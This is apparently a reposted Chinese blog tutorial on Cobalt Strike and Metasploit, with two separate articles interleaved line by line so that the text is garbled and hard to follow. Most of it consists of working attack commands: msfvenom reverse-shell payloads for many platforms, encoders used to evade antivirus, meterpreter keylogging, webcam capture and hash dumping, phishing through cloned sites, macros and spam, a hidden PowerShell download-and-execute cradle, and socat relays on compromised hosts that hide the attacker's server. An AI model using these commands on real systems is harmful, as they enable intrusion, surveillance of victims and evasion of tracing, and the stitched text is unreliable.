快速上手,渗透神器系列

原标题:cobalt strike 快速上手 [ 一 ]

转自:https://thief.one/2017/08/01/1/?hmsr=toutiao.io&utm\_medium=toutiao.io&utm\_source=toutiao.io

0x01 关于 Cobalt Strike

今天玩了一把内网渗透,其中主要用到了
metasploit
这款内网渗透神器。metasploit大家肯定不陌生,我也在很早之前就有接触过,但每次重新使用它时都会遗忘一些用法,因此为了方便查询我在本篇记录下metasploit神器的一些常用命令,以及内网渗透中如何使用它。
Mac下安装metasploit
mac下安装metasploit比较简单,官网下载pkg安装包,直接安装即可;需要注意的是安装完成后的路径。msfconsole路径:
1

一款非常优秀的后渗透平台 [
谁用谁知道,嘿嘿……说不好用的唯一原因,可能就是很多用法还没有被自己挖掘出来,因为不会用,所以,才会感觉不好用
]

/opt/metasploit-framework/bin

工具基于java,大部分功能在改进的基础上还是相对比较实用的,非常适合团队间协同作战

该目录下还有其他几个常用的工具:

更多详情请自行参考官网,这里就不啰嗦了,以下全部简称’cs’

图片 1

0x02 基础环境简介:

kali 实际控制端 ip:192.168.1.144

msf的插件路径:
1

ubuntu 16.04 自己公网的vps ip:53.3.3.6

/opt/metasploit-framework/embedded/framework/modules/exploits

win2008R2 目标机器 ip:192.168.1.191

msfvenom
作用:生成木马文件,替代早期版本的msfpayload和msfencoder。
Options
msfvenom命令行选项如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

centos6.9 已控肉鸡 ip:192.168.1.199

-p, –payload <payload> 指定需要使用的payload(攻击荷载)
-l, –list [module_type] 列出指定模块的所有可用资源,模块类型包括:
payloads, encoders, nops, all
-n, –nopsled <length> 为payload预先指定一个NOP滑动长度
-f, –format <format> 指定输出格式 (使用 –help-formats
来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch <architecture> 指定payload的目标架构
–platform <platform> 指定payload的目标平台
-s, –space <length> 设定有效攻击荷载的最大长度
-b, –bad-chars <list> 设定规避字符集,比如: ‘\x00\xff’
-i, –iterations <count> 指定payload的编码次数
-c, –add-code <path> 指定一个附加的win32 shellcode文件
-x, –template <path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out <path> 保存payload
-v, –var-name <name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

win7cn 另一台肉鸡 ip:192.168.1.123

options
usage
查看支持的payload列表:
1

0x03 先来快速预览cs最基本的一些模块具体用途:

msfvenom -l payloads

团队服务器[teamserver]

查看支持的输出文件类型:
1

主要是为了方便一个渗透团队内部能够及时共享所有成员的所有渗透信息,加强成员间的交流协作,以此提高渗透效率

msfvenom –help-formats

也就是说,正常情况下一个团队只需要起一个团队服务器即可,团队中的所有成员只需要拿着自己的cs客户端登录到团体服务器就能轻松实现协同作战

查看支持的编码方式:(为了达到免杀的效果)
1

当然,实际中可能为了尽可能久的维持住目标机器权限,还会习惯性的多开几个团队服务器,防止出现意外情况

msfvenom -l encoders

另外,团体服务器最好运行在linux平台上[本次演示所用的团队服务器系统为ubuntu
16.04]

查看支持的空字段模块:(为了达到免杀的效果)
1

# ./teamserver 团队服务器ip
设置一个团队服务器密码[别人要用这个密码才能连进来]
配置文件[一般默认即可] [YYYY-MM-DD]

msfvenom -l nops

# ./teamserver 53.3.3.6 klion

基础payload
命令格式
1

图片 2

msfvenom -p <payload> <payload options> -f <format> -o
<path>

客户端[cobaltstrike]

Linux
1
2
3
4

为了更好的说明效果,此处就分别模拟两个不同的客户端同时登陆到同一台团队服务器中,首先,先在本机运行客户端尝试登陆到团队器,客户端启动以后会提示你输入团队服务器的ip,端口和密码,用户名可随意

反向连接:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP
Address> LPORT=<Your Port to Connect On> -f elf >
shell.elf
正向连接:
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP
Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

# ./cobaltstrike

Windows
1

图片 3

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP
Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

接着,再到另一台kali机器上打开客户端登陆登录到同一团队服务器,最终实现的效果如下,团队成员可以通过event相互沟通,也可通过event清晰看到团队中的其它成员在什么时间都干了些什么,非常详细直观:

Mac
1
2

# ./cobaltstrike

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads

图片 4

PHP
1
2

图片 5

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\n’ > shell.php
&& pbpaste >> shell.php

使用cs的各种监听器

ASP
1

其实,监听器的作用很简单,主要是为了接受payload回传的各类数据,

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP
Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的

JSP
1

在cs中的监听器有两种,一种是beacon,另一种是foreign

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f raw > shell.jsp

foreign
主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

WAR
1
2

再来简单演示下,如何快速创建一个监听器,具体过程如下

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f war > shell.wa
Scripting Payloads

点击左上角的Cobalt Strike菜单

Python
1

-> 选中Listeners

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f raw > shell.py

-> 接着点击Add按钮会自动跳出监听器的配置框

Bash
1

-> 设置好端口ip [ 实际中最好用域名(走dns隧道)
]和payload类型即可创建,之后,团队服务器会一直监听该端口等待beacon
shell回连的数据

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f raw > shell.sh

图片 6

Perl
1

图片 7

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f raw > shell.pl

图片 8

Linux Based Shellcode
1

说完监听器,最后,我们再来说payload [攻击载荷]

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP
Address> LPORT=<Your Port to Connect On> -f <language>

说白点儿其实就是个木马下载器,当目标触发payload以后,会自动去下载shellcode[其实就是beacon
shell的代码]到目标系统中运行,最后成功弹回目标系统的beacon shell,

Windows Based Shellcode
1

至于在beacon
shell执行的指令都是按照计划任务来的,也就是说被控端会按事先规定好的时间自动去控制端下载各种指令任务依次在目标系统中执行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP
Address> LPORT=<Your Port to Connect On> -f <language>

首先,我们先来简单创建个payload,然后直接把它丢到目标系统中执行,看看实际的上线效果到底是个什么样子,注意,这里带红爪子的是已经拿到系统最高权限的,没爪子的基本都是系统权限暂时还比较低的

Mac Based Shellcode
1
2

图片 9

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f <language>
Handlers

图片 10

payload加编码
命令格式:
1

图片 11

msfvenom -p <payload> <payload options> -a <arch>
–platform <platform> -e <encoder option> -i <encoder
times> -b <bad-chars> -n <nopsled> -f <format> -o
<path>

图片 12

常用编码:
1
2

0x04 丰富的客户端攻击选项

x86/shikata_ga_nai
cmd/powershell_base64

首先,尝试利用 ‘System Profiler’
模块,搜集目标的各类机器信息,比如,目标用的什么版本的操作系统,什么浏览器,详细版本是多少,有没有装flash,flash具体版本又是多少[低版本可以挂马],看能不能看到目标内网ip段,大概目测估计下目标内网有多大,有了这些基础信息以后,后期我们就可以针对性的写信发信,还是那句话,实际中最好用域名,因为这里是实验所以才直接用的ip,发信时最好用html伪装个比较”到位”的链接,关于写信发信又是另一个比较’专业’的技术点,个人能力有限,这里暂不涉及,嘿嘿……下面就给大家简单的看下实际的效果

例子:
1

图片 13

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
-f exe > 1.exe

图片 14

自选模块
生成执行计算器payload例子:
1

图片 15

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe

利用’hta
payload’配合’文件下载’模块向目标发送各种钓鱼链接,首先,创建一个hta的payload,这里的payload暂时只支持三种可执行格式,exe,powershell和vba(宏),实际中更推荐用powershell,成功率相对较高,好处就不多说了,免杀,灵活…

payload的坑
正常情况下,利用msfvenom生成的木马文件,可直接上传到目标服务器上运行(加权限)。但我自己遇到过一个坑,生成的文件内容有部分是无用的,会引起报错,如下图所示。

图片 16

图片 17

图片 18

图片 19

图片 20

图片 21

解决方案是vim文件,删除文件开头两行无效的内容。
msfconsole
作用:用来在命令行下启动metasploit。

图片 22

图片 23

图片 24

启动后可看到metasploit当前版本,以及各个模块的插件数量。
auxiliary扫描模块
exploits漏洞利用模块
payloads
encoders编码模块
nops空字符模块

图片 25

search寻找模块
比如寻找ms15_034漏洞的利用插件
1

生成基于各类语言的shellcode,如,c,c#,java,python,powershell,ruby,raw,另外,cs也提供了可直接配合veil一起使用的选项,这里还是以最实用的powershell为例,生成好以后,想办法把脚本载入到目标系统中,这里就直接在目标cmd中载入了,实际中你可以把这个代码单独扣出来放到任何能执行ps的地方

search ms15_034

# powershell –exec bypass –Command “& {Import-Module ‘C:payload.ps1’}”

图片 26

图片 27

图片 28

图片 29

配合木马弹Shell
前面我介绍了如何使用msfvenom生成木马文件,这里我介绍如何使用msf连接上被执行的木马文件,达到控制目标服务器。
常用payload
首先我们回顾一下生成木马文件的命令,其中有一个payload的选项,常用的几个payload。linux相关payload:
1
2
3
4
5
6

尝试利用office宏钓鱼,并不推荐直接这样搞,因为office默认是不启用宏的,不过,可以尝试配合利用一些已经爆出来的相对比较新office
0day来搞,注意平时自己用office一定要禁用无数字签证的宏,切莫信任vba

linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tcp

图片 30

windows相关payload:
1
2
3
4
5
6
7
8

图片 31

windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp

图片 32

注意:含有x64只适用目标服务器为64位操作系统的,没有x64或者使用x86的只适用32位操作系统;含有meterpreter的模块会反弹meterpreter_shell,而普通的shell模块只会反弹普通的shell(反弹结果跟nc类似);reverse_tcp表示木马会主动连接目标服务器,bind_tcp表示木马会监听本地的端口,等待攻击者连接。因此生成的木马文件,要根据具体情况而定。
payload选择
前面介绍了常用的payload,那么payload选择的三大要素如下:
木马连接的方向
目标操作系统及版本
反弹的shell类型

图片 33

木马连接方向:msf木马分为正向连接与反向连接,正向连接适合攻击机能给连接目标机的情况,反向连接使用目标机能连接攻击机的情况,这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。(可以使用nc工具测试,详细参考:【渗透神器系列】nc)
目标操作系统类型查看:这个不说了!操作系统位数查看:
1

图片 34

getconf LONG_BIT

图片 35

反弹shell类型:这个主要取决于反弹的shell的用途,一般执行系统命令的话普通操作系统的shell就够了。如果想要使用高级功能,比如:键盘记录,开启摄像头,添加路由等功能,可以使用meterpreter_shell。
连接木马
开启msf,启用exploit/multi/handler模块。
1
2
3
4
5
6

尝试向正常的exe中嵌入payload,不过,捆绑完以后的exe图标可能会被改变,你可以尝试把原来的putty.exe的图标给扣出来,然后再替换下,好好处理下免杀,之后问题基本就不太大了,从下图可以清晰地看到,当正常的程序执行完以后,我们的payload也一并被执行了[其实payload是先执行的]

use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
show options
set RHOST 10.0.0.1
set LPORT 12345
exploit

图片 36

图片 37

图片 38

图片 39

图片 40

注意:这里set的payload跟生成木马使用的payload要一致,其余的参数根据选择的payload而填写。
meterpreter
shell
当我们拿到目标服务器的meterpreter_shell后,可以进行很多操作。
1
2
3

图片 41

backgroud 将msf进程放到后台
session -i 1 将进程拖回前台运行
run vnc 远程桌面的开启

生成传统的usb自运行payload,你需要提供一个payload[这个可以直接用cs生成,不过不免杀,最好还是用你自己处理好的马来搞]即可,官方说,对xp之前的系统最好使,win7以后的系统基本废掉了,实用性并不大,所以这里也就不详细说了

文件管理功能:
1
2
3
4
5
6
7
8

图片 42

Download 下载文件
Edit 编辑
cat 查看
mkdir 创建
mv 移动
rm 删除
upload 上传
rmdir 删除文件夹

至于生成常规的exe
payload就很简单了,指定下要挂到哪个监听器上,然后给个命中率比较高的名字保存一下,把生成的可执行文件想办法丢到目标机器上执行下,非常简单,这里就不多啰嗦了

网络及系统操作:
1
2
3
4
5
6
7
8
9
10
11

图片 43

Arp 看ARP缓冲表
Ifconfig IP地址网卡
Getproxy 获取代理
Netstat 查看端口链接
Kill 结束进程
Ps 查看进程
Reboot 重启电脑
Reg 修改注册表
Shell 获取shell
Shutdown 关闭电脑
sysinfo 获取电脑信息

克隆目标网站针对性挂马,提供一个你想克隆的网站,然后配好自己的url[模仿的尽量跟目标的像一点],然后带上你要执行的payload,这里的payload可以直接用msf生成,也可以像我这样用hta,当然啦,实际中这个payload肯定是精心处理过的,机会来之不易,肯定不会瞎搞,还是那句话实际写信最好用html方便把那个url给处理的更逼真

用户操作和其他功能讲解:
1
2
3
4
5
6
7
8
9
10
11

图片 44

enumdesktops 用户登录数
keyscan_dump   键盘记录-下载
keyscan_start  键盘记录 - 开始
keyscan_stop   键盘记录 - 停止
Uictl      获取键盘鼠标控制权
record_mic    音频录制
webcam_chat   查看摄像头接口
webcam_list   查看摄像头列表
webcam_stream  摄像头视频获取
Getsystem    获取高权限
Hashdump    下载HASH

图片 45

meterpreter添加路由
大多时候我们获取到的meterpreter
shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。
查看shell网络环境:
1

图片 46

meterpreter>run get_local_subnets

图片 47

添加一条通向目标服务器内网的路由
1

‘PowerShell Web
Delivery’可能也是大家平时用的最多的功能模块了,其实,它就相当于msf中的web_delivery模块,会生成一段shellcode代码,然后会提供给你一个下载器,这样你就可以把这个下载器插到任何能运行powershell且能正常上网的地方,比如,典型的
chm,快捷方式……,因为只是实验,我就直接丢到目标系统的cmd中执行了

meterpreter>run autoroute -s 100.0.0.0/8 (根据目标内网网络而定)

图片 48

查看路由设置:
1

图片 49

meterpreter>run autoroute –p

图片 50

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。
1

图片 51

route print

发垃圾邮件,先把所有的目标邮箱放到一个文件中[注意,每行对应一个],然后再去找个准备用来钓鱼的邮件[直接查看原文,把html整个粘出来],写完信以后记得先预览下,看看实际效果,然后再配置好用来发送邮件的公共邮件服务器,这里本来想用protonmail邮箱服务器来发的,后来看到官方说因为加密的原因暂不支持常规的IMAP,POP3,SMTP,无奈,这里就先不演示了,非常简单,实际不明白也可以私信我……,另外,实际中大家最好用手中已有的各种匿名邮箱来发[反正只要不泄露私人信息会容易被人追踪到的邮箱都可以],这很重要……切记,图貌似给贴错了,汗……大家懂我意思就行

如果发现没有路由信息,说明meterpreter
shell设置的路由并没有生效,我们可以在msf中添加路由。
1

图片 52

msf>route add 10.0.0.0 255.0.0.0 1

图片 53

说明:1表示session
1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。
meterpreter端口转发
假设目前我们扫描到了10网段的某个ip存在mysql弱口令,账号密码都有了,那么我们可以在肉鸡服务器上登陆目标服务器mysql。当然,如果我想在攻击机上去登陆mysql,可以使用端口转发。(某些情况下,内网的机器也不能互相ssh,需要登陆堡垒机)
在meterpreter shell中输入:
1

常规java攻击,有版本限制,而且要买证书,实际渗透中,其实前面这些基本就已经够用了,所以这里就不重点说了

meterpreter > portfwd add -l 55555 -r 10.0.0.1 -p 3306

0x05
通过上面这些方法,相信此时的你已经搞到了一个beacon的shell,下面我们就来详细说明关于beacon
shell自身的基本使用[后渗透阶段],先假设我们拿到的是一个还没有bypass掉uac之前的’管理员’权限的beacon
shell,以此来进行后续的一些基本操作,需要事先说明一下cs对中文的支持并不好,如果目标是中文系统,有乱码是肯定的

表示将10.0.0.1服务器上的3306端口转发到本地的55555端口,然后我们可以在本地运行mysql
–h 127.0.0.1 –u root –P 55555 –p
去登陆mysql。其他端口如ssh、ftp等都类似,这个过程跟msf代理很像。
网络上关于metasploit用法的资料很多,这里主要记录一些常用用法,以及个人使用过程中的一些坑
参考文章:http://www.freebuf.com/sectool/72135.htmlhttp://blog.csdn.net/lzhd24/article/details/50664342http://blog.csdn.net/qq\_34457594/article/details/52756458http://www.freebuf.com/sectool/56432.htmlhttp://www.freebuf.com/articles/network/125278.html
传送门
【渗透神器系列】DNS信息查询【渗透神器系列】nc【渗透神器系列】nmap【渗透神器系列】Fiddler【渗透神器系列】搜索引擎【渗透神器系列】WireShark

help 查看beacon
shell所有内置命令帮助,如果想查看指定命令的用法,可以这样,eg: help checkin

note 给当前目录机器起个名字, eg: note beacon-shell

cd在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用’/’
eg: cd c:

mkdir 新建目录, eg: mkdir d:beacon

rm 删除文件或目录, eg: rm d:beacon

upload 上传文件到目标系统中

download从目标系统下载指定文件,eg: download
C:Userswin7cnDesktopputty.exe

cancel取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下

shell在目标系统中执行指定的cmd命令, eg: shell whoami

getuid 查看当前beacon
会话在目标系统中的用户权限,可能需要bypassuac或者提权

pwd查看当前在目录系统中的路径

ls列出当前目录下的所有文件和目录

drives列表出目标系统的所有分区[win中叫盘符]

ps查看目标系统当前的所有的进程列表

kill杀掉指定进程, eg: kill 4653

sleep
10指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可

jobs列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除

jobkill如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务,
eg: jobkill 1345

clear清除beacon内部的任务队列

checkin强制让被控端回连一次

exit 终止当前beacon 会话

ctrl + k 清屏

0x06
搜集目标机器上的各类信息[有些可能会触发敏感api导致防护报警,另外进程注入,被控端可能感到非常明显的卡顿,工具也有许多不完善的地方]:

在目标系统中放置常规键盘记录, eg: keylogger 1796 x86

图片 54

尝试在目标系统中截屏,可能会造成目标系统有很明显的卡顿,eg: screenshot
1796 x86 10 截取10秒

图片 55

利用web代理,劫持转发目标浏览器进程数据到指定的端口上,然后我们再从该端口访问,就相当于拿着目标的浏览器中的数据访问

比如,我们通过截屏发现他登录某个需要账号密码的站点,通过浏览器代理我就可以实现无密码直接登录他所登录的那个站点,我表达能力不好,相信大家应该都懂我意思

官方说暂时只对IE好使,而且还不稳定,成功率一半一半吧,估计是dump进程数据的原因,dump瞬间可能会造成目标浏览器巨卡

不过不得不说这个想法还是非常好的,只是功能目前做的 [
这里膜拜下作者,大写的赞] ,还不是特别完善,走投无路的情况下可以尝试下

browserpivot 1460 x86

browserpivot stop

图片 56

图片 57

图片 58

图片 59

域内渗透相关模块,其实,如果真是域内渗透,我们可以暂时不用这么搞,后续再单独说

kerberos_ccache_use 从ccache文件中导入票据

kerberos_ticket_purge 清除当前shell的票据

kerberos_ticket_use 从ticket文件中导入票据

0x07
通过各种powershell渗透框架来增强cs的实用性,如,nishang,empire,PowerSploit,powerup,Sherlock……续的,提权,bypassuac,dll注入,抓hash,pth……都是一模一样的用法,核心还是在那些脚本上,关于各类powershell框架的具体用法,请关注博客相关文章,这里就不一一演示了,就简单说一下用法,当然,beacon
shell自身也提供了类似的功能,只是我没有说,但实际中那个可能还远远不够,而且它自身的工具工作的也不是非常好,所以更推荐大家尤其是在win内网渗透中,尽可能全部用powershell来搞

第一种方式,在beacon shell中导入外部ps脚本到远程机器上

powershell-import /root/Desktop/Get-Information.ps1

powershell Get-Information

图片 60

第二种方式,在beacon shell中直接执行powershell代码

powerpick Get-Host

图片 61

0x08 利用cs灵活穿透目标内网

对目标机器所在的内网进行常规端口扫描,指定ip段,指定用于扫描的协议[暂只支持arp,icmp,tcp],指定线程[切记实际中不要开的太高]

portscan 192.168.1.0/24 1-6000 arp 10

图片 62

becon
shell内置的端口转发功能,把本机的某个端口转到公网或者内网指定机器的某个端口上,实际用的时候速度确实比较慢,而且经常断……原因暂未知

rportfwd 389 192.168.1.181 3389

rportfwd stop 389

图片 63

图片 64

让cs和msf相互间联动使用,在目标机器上开启socks4a代理,方便进一步的内网渗透

第一种,利用各种socks代理客户端直接把各类渗透工具带进目标内网

beacon> socks 1234

图片 65

# vi /etc/proxychains.conf

socks4 53.3.3.6 1234

# socks stop

图片 66

第二种,直接利用隧道直接把整个msf带进目标内网

setg Proxies socks4:53.3.3.6:1234

图片 67

图片 68

利用beacon shell连接内网中的linux机器

ssh 192.168.1.199:22 root admin

图片 69

通过beacon隧道直接派生一个meterpreter的shell[非vps上做中转,直接通过beacon隧道过来],流程很简单,首先,在团体服务器上做端口转发,然后创建一个外部监听器,端口和ip写beacon
shell的机器所在的ip,然后在对应的beacon
shell中’spawn’选中刚刚创建好的外部监听器,暂时还有些问题没有很好的解决,后面单独说

至于如何利用msf弹回一个beacon
shell的方法就很多了,最简单的方法就是直接执行下beacon的payload的代码就可以了,又忘贴图了,汗……后期再补上来吧

0x09 配合常规端口转发尽可能隐藏自己的团队服务器

有时为了混淆视听,防止被别人快速溯源到,可能会在中间加一些跳板来尽可能隐藏我们真实的团队服务器位置,怎么做呢,其实很简单

说白点就是做端口转发[又名重定向],当然啦,这个端口转发肯定是在自己已有的肉鸡上做[论匿名的重要性]

如果你实在不放心,也可以尝试同时在多个肉鸡上,做多级转发[也就是多加几层跳板],以此来迷惑对方,加大对手的溯源难度,这是其一

还有些目标内网中的某些机器是没法正常直连公网的,只能内网机器间相互访问,但我们还是想让那台不能上网的机器也能正常上线

这就要用到我们马上要说的端口转发,至于具体用什么工具自然就非常多了,不过,还是推荐大家首选一些系统自带工具来搞,比如,netsh,iptables,socat之流……

这样,你好,我也好 ^_^

下面就用socat来简单演示下如何尽可能隐藏自己的团队服务器,关于内网断网机器上线也是一模一样的道理,大家可自行尝试

首先,到kali中用cs客户端登到我们的团队服务器,创建一个正常80端口的监听器,这里的回连ip暂时直接用vps所在的真实ip[实际中尽量用域名,很重要],如下

图片 70

图片 71

接着,就可以ssh到肉鸡上用socat开始做转发了,下面这句话的意思就是将来自外部的80端口上的流量转到公网vps的80端口上,之后肉鸡本地的80端口会一直处于监听状态,只要80端口一有流量经过就会自动转发到vps的80端口,而vps的80端口又正好是我们的监听器端口,这意思,相信你懂的

# socat tcp-listen:80,reuseaddr,fork tcp:53.3.3.6:80 &

图片 72

此时,回到cs客户端随便创建一个powershell
payload,注意,正如我们前面所说,这只是个powershell下载器,主要负责下载真正的shellcode代码,一定要记得把后面的ip要改成肉鸡的ip[因为我这里是模拟的肉鸡,所以才是个内网ip,实际中肯定是个公网ip或者域名],因为我们最终的目的是通过肉鸡帮我们转发到我们真正的团队服务器上去,以此来达到尽量隐藏的目的

注意这里,默认生成以后,它是我们自己团队服务器解析的那个域名,实际中一定要手动把它改成肉鸡的域名或ip,这样,当下载访问肯定首先会访问到肉鸡,而我们已经在肉鸡做了转发,所以最终还是会达到我们的团队服务器成功下载到shellcode代码,我个废物,竟然连码都没打全,算了,反正vps马上也快到期了,打游击打习惯了,嘿嘿……^_^

# powershell.exe -nop -w hidden -c “IEX ((new-object
net.webclient).downloadstring(”))”

图片 73

图片 74

图片 75

图片 76

最后,我们看到目标正常上线,至于,怎么让目标内网中不能正常连网的机器也能正常上线都是一模一样的道理,你可以把payload回连的流量弹到内网中任何一台可以正常上网的机器上,然后再去那台机器上把弹过来的流量转到我们团队服务器上,这样即可达到让内网中不能上网的机器也一样正常上线

0x10 深入理解dns隧道通信以及smb
beacon通信过程,这可能是整个工具最核心的地方之一,后续会用大量的篇幅单独说

0x11
至于牛逼的报告生成功能这里就不说了吧,支持一键导出pdf,实际渗透过程中的所有操作记录数据全部都被保存在指定的目录中,大家有兴趣可自行研究,比较简单,毕竟不是我们这里的重点,就不多啰嗦了

一点小结:

大家也看到了,关于工具本身使用非常简单,纯图形化操作,稍微有点儿基础,很快就能上手,而且它直接支持图标灵活拖拽,很方便对指定肉鸡进行集中批量操作,非常友好,实际中将msf和cs配合起来进行内网渗透,无疑暂时也是极好的,真正的难点还在于对不同协议的beacon
shell通信过程的理解,这也是个人觉得整个工具最值钱的地方,说实话,关于其内部的通信细节很多问题至今仍困扰着我,一直都觉得cs本身就是一款非常完美的学习样本,里面有太多值得深挖沉淀的东西,只是苦于有很多东西,并非一个人所能完成,相信也大家跟我一样,绝不会仅仅满足于工具基本使用上,其实心里都很清楚,那样基本是不会有什么实质性的长进的,时间不多,容不得浪费,所以也非常期待跟大家一起深入交流……对了,cs
3.8也已经出来了一段时间了,想尝鲜的朋友可以去试试,延长试用期还是老办法…

文章出处:klion’s blog

原文链接:)

责任编辑:

Post Author: admin

发表评论

电子邮件地址不会被公开。 必填项已用*标注